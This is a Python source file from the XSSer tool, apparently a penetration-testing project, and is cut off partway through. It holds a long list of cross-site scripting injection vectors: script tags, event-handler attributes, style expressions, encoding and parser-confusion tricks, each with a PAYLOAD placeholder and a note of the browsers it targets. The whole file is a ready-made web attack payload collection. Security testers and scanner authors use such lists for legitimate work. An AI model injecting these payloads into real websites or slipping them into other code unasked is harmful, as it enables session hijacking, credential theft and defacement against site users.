vectors.py 75 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. # vim: set expandtab tabstop=4 shiftwidth=4:
  4. """
  5. $Id$
  6. This file is part of the xsser project, http://xsser.03c8.net
  7. Copyright (c) 2011/2016 psy <epsylon@riseup.net>
  8. xsser is free software; you can redistribute it and/or modify it under
  9. the terms of the GNU General Public License as published by the Free
  10. Software Foundation version 3 of the License.
  11. xsser is distributed in the hope that it will be useful, but WITHOUT ANY
  12. WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
  13. FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
  14. details.
  15. You should have received a copy of the GNU General Public License along
  16. with xsser; if not, write to the Free Software Foundation, Inc., 51
  17. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  18. """
  19. ## This file contains different XSS fuzzing vectors.
  20. ## If you have some new, please email me to [epsylon@riseup.net]
  21. ## Happy Cross Hacking! ;)
  22. vectors = [ { 'payload':'''">PAYLOAD''',
  23. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  24. { 'payload':""""><SCRIPT>alert('PAYLOAD')</SCRIPT>""",
  25. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  26. { 'payload':"""</TITLE>PAYLOAD""",
  27. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  28. { 'payload':""""><img src="x:x" onerror="PAYLOAD">""",
  29. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  30. { 'payload':"""<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=PAYLOAD>""",
  31. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  32. { 'payload':"""'';!--"<PAYLOAD>=&{()}" """,
  33. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  34. { 'payload':"""<IMG SRC="PAYLOAD">""",
  35. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  36. { 'payload':"""<IMG SRC=PAYLOAD>""",
  37. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  38. { 'payload':"""<IMG SRC=`PAYLOAD`>""",
  39. 'browser':"""[IE6.0|NS8.1-IE]"""},
  40. { 'payload':'''<IMG """>PAYLOAD">''',
  41. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  42. { 'payload':"""<IMG SRC=" &#14; PAYLOAD">""",
  43. 'browser':"""[IE6.0|NS8.1-IE]"""},
  44. { 'payload':"""<DIV STYLE="behaviour: url(PAYLOAD);">""",
  45. 'browser':"""[IE6.0|NS8.1-IE]"""},
  46. { 'payload':"""<<SCRIPT>PAYLOAD//<</SCRIPT>""",
  47. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  48. { 'payload':"""\";PAYLOAD//""",
  49. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  50. { 'payload':"""<IMG SRC='PAYLOAD'""",
  51. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  52. { 'payload':"""<BODY BACKGROUND="PAYLOAD">""",
  53. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  54. { 'payload':"""<INPUT TYPE="IMAGE" SRC="PAYLOAD">""",
  55. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  56. { 'payload':"""<BODY ONLOAD=PAYLOAD>""",
  57. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  58. { 'payload':"""<IMG DYNSRC="PAYLOAD">""",
  59. 'browser':"""[IE6.0|NS8.1-IE]"""},
  60. { 'payload':"""<IMG LOWSRC="PAYLOAD">""",
  61. 'browser':"""[IE6.0|NS8.1-IE]"""},
  62. { 'payload':"""<BGSOUND SRC="PAYLOAD">""",
  63. 'browser':"""[O9.02]"""},
  64. { 'payload':"""<BR SIZE="&{PAYLOAD}">""",
  65. 'browser':"""[NS4]"""},
  66. { 'payload':"""<LINK REL="stylesheet" HREF="PAYLOAD">""",
  67. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  68. { 'payload':"""<IMG SRC='vbscript:PAYLOAD'>""",
  69. 'browser':"""[IE6.0|NS8.1-IE]"""},
  70. { 'payload':"""<IMG SRC="mocha:[PAYLOAD]">""",
  71. 'browser':"""[NS4]"""},
  72. { 'payload':"""<IMG SRC="livescript:[PAYLOAD]">""",
  73. 'browser':"""[NS4]"""},
  74. { 'payload':"""<META HTTP-EQUIV="refresh" CONTENT="0;url=PAYLOAD">""",
  75. 'browser':"""[IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  76. { 'payload':"""<TABLE BACKGROUND="PAYLOAD">""",
  77. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  78. { 'payload':"""<TABLE BACKGROUND=javascript:PAYLOAD>""",
  79. 'browser':"""[O9.02]"""},
  80. { 'payload':"""<TABLE><TD BACKGROUND="PAYLOAD">""",
  81. 'browser':"""[IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  82. { 'payload':"""<DIV STYLE="background-image: url(PAYLOAD);">""",
  83. 'browser':"""[IE6.0|NS8.1-IE]"""},
  84. { 'payload':"""<DIV STYLE="width: expression(PAYLOAD);">""",
  85. 'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""},
  86. { 'payload':"""<IFRAME SRC="PAYLOAD"></IFRAME>""",
  87. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  88. { 'payload':"""<iframe/ /onload=PAYLOAD></iframe>""",
  89. 'browser':"""Not Info"""},
  90. { 'payload':"""<iframe/ "onload=PAYLOAD></iframe>""",
  91. 'browser':"""Not Info"""},
  92. { 'payload':"""<iframe///////onload=PAYLOAD></iframe>""",
  93. 'browser':"""Not Info"""},
  94. { 'payload':"""<iframe "onload=PAYLOAD></iframe>""",
  95. 'browser':"""Not Info"""},
  96. { 'payload':"""<iframe<?php echo chr(11)?> onload=PAYLOAD></iframe>""",
  97. 'browser':"""Not Info"""},
  98. { 'payload':"""<iframe<?php echo chr(12)?> onload=PAYLOAD></iframe>""",
  99. 'browser':"""Not Info"""},
  100. { 'payload':"""<FRAMESET><FRAME SRC="PAYLOAD"></FRAMESET>""",
  101. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  102. { 'payload':"""<TABLE BACKGROUND="PAYLOAD">""",
  103. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  104. { 'payload':"""<TABLE><TD BACKGROUND="PAYLOAD">""",
  105. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  106. { 'payload':"""<DIV STYLE="background-image: url(&#1;PAYLOAD)">""",
  107. 'browser':"""[IE6.0|NS8.1-IE]"""},
  108. { 'payload':"""<DIV STYLE="width: expression(PAYLOAD);">""",
  109. 'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""},
  110. { 'payload':"""<IMG STYLE="X:expr/*X*/ession(PAYLOAD)">""",
  111. 'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""},
  112. { 'payload':"""<X STYLE="X:expression(PAYLOAD)">""",
  113. 'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""},
  114. { 'payload':"""<STYLE TYPE="text/javascript">PAYLOAD</STYLE>""",
  115. 'browser':"""[NS4]"""},
  116. { 'payload':"""<STYLE>.X{background-image:url("PAYLOAD");}</STYLE><A CLASS=X></A>""",
  117. 'browser':"""[IE6.0|NS8.1-IE]"""},
  118. { 'payload':"""<STYLE type="text/css">BODY{background:url("PAYLOAD")}</STYLE>""",
  119. 'browser':"""[IE6.0|NS8.1-IE]"""},
  120. { 'payload':"""<!--[if gte IE 4]>PAYLOAD<![endif]-->""",
  121. 'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""},
  122. { 'payload':"""<BASE HREF="PAYLOAD//">""",
  123. 'browser':"""[IE6.0|NS8.1-IE]"""},
  124. { 'payload':"""<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=PAYLOAD></OBJECT>""",
  125. 'browser':"""[O9.02]"""},
  126. { 'payload':"""a="get";b="URL(\"";c="javascript:";d="PAYLOAD\")";eval(a+b+c+d);""",
  127. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  128. { 'payload':"""<? echo('<SCR)';echo('IPT>PAYLOAD</SCRIPT>'); ?>""",
  129. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  130. { 'payload':"""<META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;PAYLOAD&lt;/SCRIPT&gt;">""",
  131. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  132. { 'payload':"""<SCRIPT SRC=http://127.0.0.1>PAYLOAD</SCRIPT>""",
  133. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  134. { 'payload':"""<IMG SRC="&14;javascript:PAYLOAD">""",
  135. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  136. { 'payload':"""<IMG SRC="jav&#x0D;ascript:PAYLOAD">""",
  137. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  138. { 'payload':"""--- <IMG SRC=" &#14; PAYLOAD">""",
  139. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  140. { 'payload':'''--- <IMG SRC="PAYLOAD"''',
  141. 'browser':"""[IE6.0|NS8.1-IE] [09.02]"""},
  142. { 'payload':"""<SCRIPT>a=/PAYLOAD/alert(a.source)</SCRIPT>""",
  143. 'browser':"""[Not Info]"""},
  144. { 'payload':'''--- \";PAYLOAD;//''',
  145. 'browser':"""[Not Info]"""},
  146. { 'payload':'''<META HTTP-EQUIVo"refresh" CONTENT="0; URL=http://;URL=PAYLOAD">''',
  147. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  148. { 'payload':"""<SCRIPT <B>=PAYLOAD"></SCRIPT>""",
  149. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  150. { 'payload':"""<IFRAME SRC="javascript:PAYLOAD <""",
  151. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  152. { 'payload':"""<SCRIPT>a=/X/nPAYLOAD</SCRIPT>""",
  153. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  154. { 'payload':"""<LAYER SRC="javascript:PAYLOAD></LAYER>""",
  155. 'browser':"""[NS4]"""},
  156. { 'payload':"""<STYLE>li {list-style-image: url("PAYLOAD</STYLE><UL><LI>X""",
  157. 'browser':"""[IE6.0|NS8.1-IE]"""},
  158. { 'payload':"""<DIV STYLE="background-image: url(&#1;javascript:PAYLOAD">""",
  159. 'browser':"""[IE6.0|NS8.1-IE]"""},
  160. { 'payload':"""<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"></HEAD>+ADw-SCRIPT+AD4-PAYLOAD+ADw-/SCRIPT+AD4-""",
  161. 'browser':"""[IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  162. { 'payload':"""<a href="javascript#PAYLOAD">""",
  163. 'browser':"""[IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  164. { 'payload':"""<input type="image" dynsrc="PAYLOAD">""",
  165. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  166. { 'payload':"""&PAYLOAD">""",
  167. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  168. { 'payload':"""&{PAYLOAD};""",
  169. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  170. { 'payload':"""<IMG SRC=&{PAYLOAD};>""",
  171. 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
  172. { 'payload':"""<a href="about:PAYLOAD">""",
  173. 'browser':"""[IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
  174. { 'payload':"""<DIV STYLE="binding: url(javascript:PAYLOAD);">""",
  175. 'browser':"""[IE6.0|NS8.1-IE]"""},
  176. { 'payload':"""<OBJECT classid=clsid:..." codebase="javascript:PAYLOAD">""",
  177. 'browser':"""[O9.02]"""},
  178. { 'payload':"""<style><!--</style><SCRIPT>PAYLOAD//--></SCRIPT>""",
  179. 'browser':"""[IE6.0|NS8.1-IE]"""},
  180. { 'payload':"""![CDATA[<!--]]<SCRIPT>PAYLOAD//--></SCRIPT>""",
  181. 'browser':"""[IE6.0|NS8.1-IE]"""},
  182. { 'payload':"""<!-- -- -->PAYLOAD<!-- -- -->""",
  183. 'browser':"""[Not Info]"""},
  184. { 'payload':'''<xml id="X"><a><b>PAYLOAD;<b></a></xml>''',
  185. 'browser':"""[IE6.0|NS8.1-IE]"""},
  186. { 'payload':'''<div datafld="b" dataformatas="html" datasrc="#PAYLOAD"></div>''',
  187. 'browser':"""[IE]"""},
  188. { 'payload':'''<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:PAYLOAD">]]</C><X></xml>''',
  189. 'browser':"""[IE6.0|NS8.1-IE]"""},
  190. { 'payload':"""<script psy>/*<script* */alert(PAYLOAD)</script""",
  191. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  192. { 'payload':'''<img src=1 href=1 onerror="PAYLOAD"></img>''',
  193. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  194. { 'payload':'''<audio src=1 href=1 onerror="PAYLOAD"></audio>''',
  195. 'browser':"""[HTML5 Injection]"""},
  196. { 'payload':'''<video src=1 href=1 onerror="PAYLOAD"></video>''',
  197. 'browser':"""[HTML5 Injection]"""},
  198. { 'payload':'''<body src=1 href=1 onerror="PAYLOAD"></body>''',
  199. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  200. { 'payload':'''<image src=1 href=1 onerror="PAYLOAD"></image>''',
  201. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  202. { 'payload':'''<object src=1 href=1 onerror="PAYLOAD"></object>''',
  203. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  204. { 'payload':'''<script src=1 href=1 onerror="PAYLOAD"></script>''',
  205. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  206. { 'payload':'''<svg onResize svg onResize="javascript:PAYLOAD"></svg onResize>''',
  207. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  208. { 'payload':'''<title onPropertyChange title onPropertyChange="javascript:PAYLOAD"></title onPropertyChange>''',
  209. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  210. { 'payload':'''<iframe onLoad iframe onLoad="javascript:PAYLOAD"></iframe onLoad>''',
  211. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  212. { 'payload':'''<body onMouseEnter body onMouseEnter="javascript:PAYLOAD"></body onMouseEnter>''',
  213. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  214. { 'payload':'''<body onFocus body onFocus="javascript:PAYLOAD"></body onFocus>''',
  215. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  216. { 'payload':'''<frameset onScroll frameset onScroll="javascript:PAYLOAD"></frameset onScroll>''',
  217. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  218. { 'payload':'''<script onReadyStateChange script onReadyStateChange="javascript:PAYLOAD"></script onReadyStateChange>''',
  219. 'browser':"""[IE] [Chrome]"""},
  220. { 'payload':'''<html onMouseUp html onMouseUp="javascript:PAYLOAD"></html onMouseUp>''',
  221. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  222. { 'payload':'''<body onPropertyChange body onPropertyChange="javascript:PAYLOAD"></body onPropertyChange>''',
  223. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  224. { 'payload':'''<svg onLoad svg onLoad="javascript:PAYLOAD"></svg onLoad>''',
  225. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  226. { 'payload':'''<body onPageHide body onPageHide="javascript:PAYLOAD"></body onPageHide>''',
  227. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  228. { 'payload':'''<body onMouseOver body onMouseOver="javascript:PAYLOAD"></body onMouseOver>''',
  229. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  230. { 'payload':'''<body onUnload body onUnload="javascript:PAYLOAD"></body onUnload>''',
  231. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  232. { 'payload':'''<body onLoad body onLoad="javascript:PAYLOAD"></body onLoad>''',
  233. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  234. { 'payload':'''<bgsound onPropertyChange bgsound onPropertyChange="javascript:PAYLOAD"></bgsound onPropertyChange>''',
  235. 'browser':"""[HTML5 Injection]"""},
  236. { 'payload':'''<html onMouseLeave html onMouseLeave="javascript:PAYLOAD"></html onMouseLeave>''',
  237. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  238. { 'payload':'''<html onMouseWheel html onMouseWheel="javascript:PAYLOAD"></html onMouseWheel>''',
  239. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  240. { 'payload':'''<style onLoad style onLoad="javascript:PAYLOAD"></style onLoad>''',
  241. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  242. { 'payload':'''<iframe onReadyStateChange iframe onReadyStateChange="javascript:PAYLOAD"></iframe onReadyStateChange>''',
  243. 'browser':"""[IE] [Chrome]"""},
  244. { 'payload':'''<body onPageShow body onPageShow="javascript:PAYLOAD"></body onPageShow>''',
  245. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  246. { 'payload':'''<style onReadyStateChange style onReadyStateChange="javascript:PAYLOAD"></style onReadyStateChange>''',
  247. 'browser':"""[IE] [Chrome]"""},
  248. { 'payload':'''<frameset onFocus frameset onFocus="javascript:PAYLOAD"></frameset onFocus>''',
  249. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  250. { 'payload':'''<applet onError applet onError="javascript:PAYLOAD"></applet onError>''',
  251. 'browser':"""[HTML5 Injection]"""},
  252. { 'payload':'''<marquee onStart marquee onStart="javascript:PAYLOAD"></marquee onStart>''',
  253. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  254. { 'payload':'''<script onLoad script onLoad="javascript:PAYLOAD"></script onLoad>''',
  255. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  256. { 'payload':'''<html onMouseOver html onMouseOver="javascript:PAYLOAD"></html onMouseOver>''',
  257. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  258. { 'payload':'''<html onMouseEnter html onMouseEnter="javascript:parent.PAYLOAD"></html onMouseEnter>''',
  259. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  260. { 'payload':'''<body onBeforeUnload body onBeforeUnload="javascript:PAYLOAD"></body onBeforeUnload>''',
  261. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  262. { 'payload':'''<html onMouseDown html onMouseDown="javascript:PAYLOAD"></html onMouseDown>''',
  263. 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""},
  264. { 'payload':'''<marquee onScroll marquee onScroll="javascript:PAYLOAD"></marquee onScroll>''',
  265. 'browser':"""[Not Info]"""},
  266. { 'payload':'''<xml onPropertyChange xml onPropertyChange="javascript:PAYLOAD"></xml onPropertyChange>''',
  267. 'browser':"""[Not Info]"""},
  268. { 'payload':'''<frameset onBlur frameset onBlur="javascript:PAYLOAD"></frameset onBlur>''',
  269. 'browser':"""[Not Info]"""},
  270. { 'payload':'''<applet onReadyStateChange applet onReadyStateChange="javascript:PAYLOAD"></applet onReadyStateChange>''',
  271. 'browser':"""[IE] [Chrome]"""},
  272. { 'payload':'''<svg onUnload svg onUnload="javascript:PAYLOAD"></svg onUnload>''',
  273. 'browser':"""[Not Info]"""},
  274. { 'payload':'''<html onMouseOut html onMouseOut="javascript:PAYLOAD"></html onMouseOut>''',
  275. 'browser':"""[Not Info]"""},
  276. { 'payload':'''<body onMouseMove body onMouseMove="javascript:PAYLOAD"></body onMouseMove>''',
  277. 'browser':"""[Not Info]"""},
  278. { 'payload':'''<body onResize body onResize="javascript:PAYLOAD"></body onResize>''',
  279. 'browser':"""[Not Info]"""},
  280. { 'payload':'''<object onError object onError="javascript:PAYLOAD"></object onError>''',
  281. 'browser':"""[Not Info]"""},
  282. { 'payload':'''<body onPopState body onPopState="javascript:PAYLOAD"></body onPopState>''',
  283. 'browser':"""[Not Info]"""},
  284. { 'payload':'''<html onMouseMove html onMouseMove="javascript:PAYLOAD"></html onMouseMove>''',
  285. 'browser':"""[Not Info]"""},
  286. { 'payload':'''<applet onerror applet onerror="javascript:PAYLOAD"></applet onerror>''',
  287. 'browser':"""[Not Info]"""},
  288. { 'payload':'''<body onkeyup body onkeyup="javascript:PAYLOAD"></body onkeyup>''',
  289. 'browser':"""[Not Info]"""},
  290. { 'payload':'''<body onunload body onunload="javascript:PAYLOAD"></body onunload>''',
  291. 'browser':"""[Not Info]"""},
  292. { 'payload':'''<iframe onload iframe onload="javascript:PAYLOAD"></iframe onload>''',
  293. 'browser':"""[Not Info]"""},
  294. { 'payload':'''<body onload body onload="javascript:PAYLOAD"></body onload>''',
  295. 'browser':"""[Not Info]"""},
  296. { 'payload':'''<html onmouseover html onmouseover="javascript:PAYLOAD"></html onmouseover>''',
  297. 'browser':"""[Not Info]"""},
  298. { 'payload':'''<object onbeforeload object onbeforeload="javascript:PAYLOAD"></object onbeforeload>''',
  299. 'browser':"""[Not Info]"""},
  300. { 'payload':'''<body onbeforeunload body onbeforeunload="javascript:PAYLOAD"></body onbeforeunload>''',
  301. 'browser':"""[Not Info]"""},
  302. { 'payload':'''<body onfocus body onfocus="javascript:PAYLOAD"></body onfocus>''',
  303. 'browser':"""[Not Info]"""},
  304. { 'payload':'''<body onkeydown body onkeydown="javascript:PAYLOAD"></body onkeydown>''',
  305. 'browser':"""[Not Info]"""},
  306. { 'payload':'''<iframe onbeforeload iframe onbeforeload="javascript:PAYLOAD"></iframe onbeforeload>''',
  307. 'browser':"""[Not Info]"""},
  308. { 'payload':'''<iframe src iframe src="javascript:PAYLOAD"></iframe src>''',
  309. 'browser':"""[Not Info]"""},
  310. { 'payload':'''<svg onload svg onload="javascript:PAYLOAD"></svg onload>''',
  311. 'browser':"""[Not Info]"""},
  312. { 'payload':'''<body onblur body onblur="javascript:PAYLOAD"></body onblur>''',
  313. 'browser':"""[Not Info]"""},
  314. { 'payload':'''<form id="X" /><button form="X" formaction="javascript:PAYLOAD">X''',
  315. 'browser':"""[HTML5 Injection]"""},
  316. { 'payload':'''<input onfocus=PAYLOAD autofocus>''',
  317. 'browser':"""[Not Info]"""},
  318. { 'payload':'''<input onblur=PAYLOAD autofocus><input autofocus>''',
  319. 'browser':"""[Not Info]"""},
  320. { 'payload':'''<video poster=javascript:PAYLOAD//''',
  321. 'browser':"""[HTML5 Injection]"""},
  322. { 'payload':'''<body onscroll=PAYLOAD><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>''',
  323. 'browser':"""[Not Info]"""},
  324. { 'payload':'''<form id=X onforminput=PAYLOAD><input></form><button form=X onformchange=PAYLOAD>X''',
  325. 'browser':"""[HTML5 Injection]"""},
  326. { 'payload':'''<video><source onerror="javascript:PAYLOAD">''',
  327. 'browser':"""[Opera10.5+] [Chrome]"""},
  328. { 'payload':'''<video onerror="javascript:PAYLOAD"><source>''',
  329. 'browser':"""[FF3.5+]"""},
  330. { 'payload':'''<form><button formaction="javascript:PAYLOAD">X''',
  331. 'browser':"""[HTML5 Injection]"""},
  332. { 'payload':'''<body oninput=PAYLOAD><input autofocus>''',
  333. 'browser':"""[IE]"""},
  334. { 'payload':'''<math href="javascript:PAYLOAD">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:PAYLOAD">CLICKME</maction> </math>''',
  335. 'browser':"""[FF]"""},
  336. { 'payload':'''<frameset onload=PAYLOAD>''',
  337. 'browser':"""[Not Info]"""},
  338. { 'payload':'''<table background="javascript:PAYLOAD">''',
  339. 'browser':"""[Opera8|Opera10.5+] [IE6.0]"""},
  340. { 'payload':'''<!--<img src="--><img src=x onerror=PAYLOAD//">''',
  341. 'browser':"""[Not Info]"""},
  342. { 'payload':'''<comment><img src="</comment><img src=x onerror=PAYLOAD)//">''',
  343. 'browser':"""[IE]"""},
  344. { 'payload':'''<![><img src="]><img src=x onerror=PAYLOAD//">''',
  345. 'browser':"""[FF] [Opera]"""},
  346. { 'payload':'''<style><img src="</style><img src=x onerror=PAYLOAD//">''',
